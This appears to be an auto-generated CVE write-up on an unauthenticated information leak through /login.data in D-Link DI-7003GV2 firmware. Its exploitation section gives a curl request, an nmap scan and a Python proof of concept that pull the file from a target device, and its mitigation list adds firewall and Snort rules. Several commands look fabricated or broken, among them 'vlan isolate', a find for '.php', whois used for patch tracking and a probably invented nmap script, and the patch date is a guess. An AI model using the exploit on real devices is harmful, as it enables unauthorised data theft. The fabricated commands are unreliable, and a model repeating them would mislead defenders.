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How CVE-2025-4753 Works
The vulnerability in D-Link DI-7003GV2 firmware version 24.04.18D1 R(68125) stems from improper handling of the `/login.data` file, which exposes sensitive information to remote attackers. The flaw allows unauthenticated attackers to send crafted requests to the affected endpoint, triggering unintended data leakage. Due to insufficient access controls, the system fails to sanitize or restrict access to this file, leading to unauthorized information disclosure. Attackers can exploit this without user interaction (UI:N) and with low attack complexity (AC:L). The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:L) confirms network-based exploitation with low confidentiality impact.
DailyCVE Form
Platform: D-Link DI-7003GV2
Version: 24.04.18D1 R(68125)
Vulnerability: Information Disclosure
Severity: Medium
Date: 06/03/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation Analysis
1. Crafting the Exploit:
curl -X GET "http://<TARGET_IP>/login.data" -H "User-Agent: Exploit"
This unauthenticated request retrieves sensitive data from the vulnerable endpoint.
2. Automated Scanning:
nmap -p 80 --script http-vuln-cve2025-4753 <TARGET_RANGE>
3. Proof of Concept (PoC):
import requests
target = "http://192.168.1.1/login.data"
response = requests.get(target)
print(response.text) if response.status_code == 200 else print("Exploit failed")
Mitigation Steps
1. Immediate Workaround:
Block access to `/login.data` via firewall rules:
iptables -A INPUT -p tcp --dport 80 -m string --string "/login.data" --algo bm -j DROP
2. Patch Verification:
Post-patch, validate fixes with:
grep -r "login.data" /etc/httpd/conf/
3. Log Monitoring:
Detect exploitation attempts via logs:
tail -f /var/log/httpd/access.log | grep "login.data"
4. Network Segmentation:
Isolate affected devices until patched:
vlan isolate DI-7003GV2
5. Firmware Upgrade:
Always verify checksums after download:
sha256sum DI-7003GV2_firmware.bin
6. CVE-Specific Snort Rule:
alert tcp any any -> any 80 (msg:"CVE-2025-4753 Exploit Attempt"; content:"/login.data"; sid:1004753; rev:1;)
7. Post-Exploit Forensics:
Check for backdoors:
find / -name ".php" -mtime -1
8. Vendor Advisory:
Monitor D-Link’s security portal for updates:
wget https://support.dlink.com/security/ -O dlink_advisory.html
9. CVSS Calculator:
Reassess severity if new vectors emerge:
cvss-calculator --vector "AV:N/AC:L/PR:N/UI:N/VC:L"
10. Disclosure Timeline:
Track patch progress via:
whois $(dig +short support.dlink.com)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
